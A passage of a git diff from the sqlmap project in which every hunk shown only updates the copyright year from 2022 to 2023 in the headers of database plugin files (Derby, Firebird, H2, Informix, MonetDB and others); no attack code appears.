sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/takeover.py b/plugins/dbms/derby/takeover.py index 02a7e32bd..4628871ef 100644 --- a/plugins/dbms/derby/takeover.py +++ b/plugins/dbms/derby/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/__init__.py b/plugins/dbms/extremedb/__init__.py index 06ed0c841..ecc67a1e5 100644 --- a/plugins/dbms/extremedb/__init__.py +++ b/plugins/dbms/extremedb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/connector.py b/plugins/dbms/extremedb/connector.py index c39deba8b..4b1cf53fb 100644 --- a/plugins/dbms/extremedb/connector.py +++ b/plugins/dbms/extremedb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/enumeration.py b/plugins/dbms/extremedb/enumeration.py index 2f3e0aff5..c1440dcf6 100644 --- a/plugins/dbms/extremedb/enumeration.py +++ b/plugins/dbms/extremedb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/filesystem.py b/plugins/dbms/extremedb/filesystem.py index ad6684435..99f47dd3b 100644 --- a/plugins/dbms/extremedb/filesystem.py +++ b/plugins/dbms/extremedb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/fingerprint.py b/plugins/dbms/extremedb/fingerprint.py index 3ac51e2f4..f0e419a25 100644 --- a/plugins/dbms/extremedb/fingerprint.py +++ b/plugins/dbms/extremedb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/syntax.py b/plugins/dbms/extremedb/syntax.py index 6b5fd76a6..b53aa83ad 100644 --- a/plugins/dbms/extremedb/syntax.py +++ b/plugins/dbms/extremedb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/takeover.py b/plugins/dbms/extremedb/takeover.py index d5c85b7f5..0796d3613 100644 --- a/plugins/dbms/extremedb/takeover.py +++ b/plugins/dbms/extremedb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py index 41e961850..a6155b614 100644 --- a/plugins/dbms/firebird/__init__.py +++ b/plugins/dbms/firebird/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index cabd43fda..28b0aa682 100644 --- a/plugins/dbms/firebird/connector.py +++ b/plugins/dbms/firebird/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index 6da166bb3..2bf862617 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index 2d35c0a72..f92c3d7ac 100644 --- a/plugins/dbms/firebird/filesystem.py +++ b/plugins/dbms/firebird/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 2b0b4d46a..b6ddb1c4d 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py index b03d1699b..56831d72e 100644 --- a/plugins/dbms/firebird/syntax.py +++ b/plugins/dbms/firebird/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py index e4c75689e..6ded04372 100644 --- a/plugins/dbms/firebird/takeover.py +++ b/plugins/dbms/firebird/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/__init__.py b/plugins/dbms/frontbase/__init__.py index 449b5dd09..53f9a22a8 100644 --- a/plugins/dbms/frontbase/__init__.py +++ b/plugins/dbms/frontbase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/connector.py b/plugins/dbms/frontbase/connector.py index ce24422d9..4e25dd951 100644 --- a/plugins/dbms/frontbase/connector.py +++ b/plugins/dbms/frontbase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/enumeration.py b/plugins/dbms/frontbase/enumeration.py index 0542df427..88596caac 100644 --- a/plugins/dbms/frontbase/enumeration.py +++ b/plugins/dbms/frontbase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/filesystem.py b/plugins/dbms/frontbase/filesystem.py index 253bcffb1..ca58e1c50 100644 --- a/plugins/dbms/frontbase/filesystem.py +++ b/plugins/dbms/frontbase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/fingerprint.py b/plugins/dbms/frontbase/fingerprint.py index 5f142b982..06d03371f 100644 --- a/plugins/dbms/frontbase/fingerprint.py +++ b/plugins/dbms/frontbase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/syntax.py b/plugins/dbms/frontbase/syntax.py index 6b5fd76a6..b53aa83ad 100644 --- a/plugins/dbms/frontbase/syntax.py +++ b/plugins/dbms/frontbase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/takeover.py b/plugins/dbms/frontbase/takeover.py index db8852834..9eb74a13b 100644 --- a/plugins/dbms/frontbase/takeover.py +++ b/plugins/dbms/frontbase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/__init__.py b/plugins/dbms/h2/__init__.py index 8455010c2..f570b406c 100644 --- a/plugins/dbms/h2/__init__.py +++ b/plugins/dbms/h2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/connector.py b/plugins/dbms/h2/connector.py index 1bbdd5b78..f72a9ad4d 100644 --- a/plugins/dbms/h2/connector.py +++ b/plugins/dbms/h2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py index 81fb1a52a..d833de65c 100644 --- a/plugins/dbms/h2/enumeration.py +++ b/plugins/dbms/h2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py index e2074d150..42a8943ee 100644 --- a/plugins/dbms/h2/filesystem.py +++ b/plugins/dbms/h2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index c1403e592..822e1723e 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/syntax.py b/plugins/dbms/h2/syntax.py index 9bd95ffd2..27a7f0ddf 100644 --- a/plugins/dbms/h2/syntax.py +++ b/plugins/dbms/h2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py index 15f437e56..556a11c76 100644 --- a/plugins/dbms/h2/takeover.py +++ b/plugins/dbms/h2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py index 542095116..46745fa79 100644 --- a/plugins/dbms/hsqldb/__init__.py +++ b/plugins/dbms/hsqldb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py index 40b47e8a5..3f46a69b7 100644 --- a/plugins/dbms/hsqldb/connector.py +++ b/plugins/dbms/hsqldb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index 3692153ff..06e0397c2 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index abe6592ba..b27607190 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index 348e5ba27..86aa0aeaa 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py index 9bd95ffd2..27a7f0ddf 100644 --- a/plugins/dbms/hsqldb/syntax.py +++ b/plugins/dbms/hsqldb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py index 692ce013c..99a8a03ce 100644 --- a/plugins/dbms/hsqldb/takeover.py +++ b/plugins/dbms/hsqldb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/__init__.py b/plugins/dbms/informix/__init__.py index a9958c20a..ca2f8f1ef 100644 --- a/plugins/dbms/informix/__init__.py +++ b/plugins/dbms/informix/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py index 137353514..7b75e4051 100644 --- a/plugins/dbms/informix/connector.py +++ b/plugins/dbms/informix/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py index 8e2d938c2..f878f27e7 100644 --- a/plugins/dbms/informix/enumeration.py +++ b/plugins/dbms/informix/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/filesystem.py b/plugins/dbms/informix/filesystem.py index 2ff16d48d..bf4d5c5ba 100644 --- a/plugins/dbms/informix/filesystem.py +++ b/plugins/dbms/informix/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py index 843dc0532..c190fa080 100644 --- a/plugins/dbms/informix/fingerprint.py +++ b/plugins/dbms/informix/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/syntax.py b/plugins/dbms/informix/syntax.py index 984fd58a5..a7e307bf4 100644 --- a/plugins/dbms/informix/syntax.py +++ b/plugins/dbms/informix/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/takeover.py b/plugins/dbms/informix/takeover.py index 1d0ae95f4..bcbc4b5e1 100644 --- a/plugins/dbms/informix/takeover.py +++ b/plugins/dbms/informix/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py index fb4519224..6ab3b3d87 100644 --- a/plugins/dbms/maxdb/__init__.py +++ b/plugins/dbms/maxdb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py index 0107f8b95..14d22ee24 100644 --- a/plugins/dbms/maxdb/connector.py +++ b/plugins/dbms/maxdb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index f6dcf2042..a83b9c2fa 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index c9d66b101..d06d159cd 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 5dcea6a48..2f8788ac7 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py index 6b5fd76a6..b53aa83ad 100644 --- a/plugins/dbms/maxdb/syntax.py +++ b/plugins/dbms/maxdb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py index 69d7283f3..0a51217c2 100644 --- a/plugins/dbms/maxdb/takeover.py +++ b/plugins/dbms/maxdb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/__init__.py b/plugins/dbms/mckoi/__init__.py index 00a39a507..3e41787ec 100644 --- a/plugins/dbms/mckoi/__init__.py +++ b/plugins/dbms/mckoi/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/connector.py b/plugins/dbms/mckoi/connector.py index 3645c9a5c..128c77b2d 100644 --- a/plugins/dbms/mckoi/connector.py +++ b/plugins/dbms/mckoi/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/enumeration.py b/plugins/dbms/mckoi/enumeration.py index a4ddb06ca..3b9028083 100644 --- a/plugins/dbms/mckoi/enumeration.py +++ b/plugins/dbms/mckoi/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/filesystem.py b/plugins/dbms/mckoi/filesystem.py index 65807cfa3..49ea280be 100644 --- a/plugins/dbms/mckoi/filesystem.py +++ b/plugins/dbms/mckoi/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/fingerprint.py b/plugins/dbms/mckoi/fingerprint.py index 6bdace647..a3bfde48f 100644 --- a/plugins/dbms/mckoi/fingerprint.py +++ b/plugins/dbms/mckoi/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/syntax.py b/plugins/dbms/mckoi/syntax.py index 6b5fd76a6..b53aa83ad 100644 --- a/plugins/dbms/mckoi/syntax.py +++ b/plugins/dbms/mckoi/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/takeover.py b/plugins/dbms/mckoi/takeover.py index 012122c73..cbc55ae11 100644 --- a/plugins/dbms/mckoi/takeover.py +++ b/plugins/dbms/mckoi/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/__init__.py b/plugins/dbms/mimersql/__init__.py index 37d384833..fbf38d9c9 100644 --- a/plugins/dbms/mimersql/__init__.py +++ b/plugins/dbms/mimersql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/connector.py b/plugins/dbms/mimersql/connector.py index 93a392216..4307f5b69 100644 --- a/plugins/dbms/mimersql/connector.py +++ b/plugins/dbms/mimersql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/enumeration.py b/plugins/dbms/mimersql/enumeration.py index b27f593aa..57a9f22eb 100644 --- a/plugins/dbms/mimersql/enumeration.py +++ b/plugins/dbms/mimersql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/filesystem.py b/plugins/dbms/mimersql/filesystem.py index 2ff16d48d..bf4d5c5ba 100644 --- a/plugins/dbms/mimersql/filesystem.py +++ b/plugins/dbms/mimersql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/fingerprint.py b/plugins/dbms/mimersql/fingerprint.py index 6e367a1ae..8052ee022 100644 --- a/plugins/dbms/mimersql/fingerprint.py +++ b/plugins/dbms/mimersql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/syntax.py b/plugins/dbms/mimersql/syntax.py index 8cd965a4c..2d63b897e 100644 --- a/plugins/dbms/mimersql/syntax.py +++ b/plugins/dbms/mimersql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/takeover.py b/plugins/dbms/mimersql/takeover.py index 9a95b286d..497745a0c 100644 --- a/plugins/dbms/mimersql/takeover.py +++ b/plugins/dbms/mimersql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/__init__.py b/plugins/dbms/monetdb/__init__.py index 94f64c0ed..ef29a313f 100644 --- a/plugins/dbms/monetdb/__init__.py +++ b/plugins/dbms/monetdb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/connector.py b/plugins/dbms/monetdb/connector.py index 68b14d3e4..7fb635e87 100644 --- a/plugins/dbms/monetdb/connector.py +++ b/plugins/dbms/monetdb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/enumeration.py b/plugins/dbms/monetdb/enumeration.py index 570785e23..10b528c7d 100644 --- a/plugins/dbms/monetdb/enumeration.py +++ b/plugins/dbms/monetdb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers 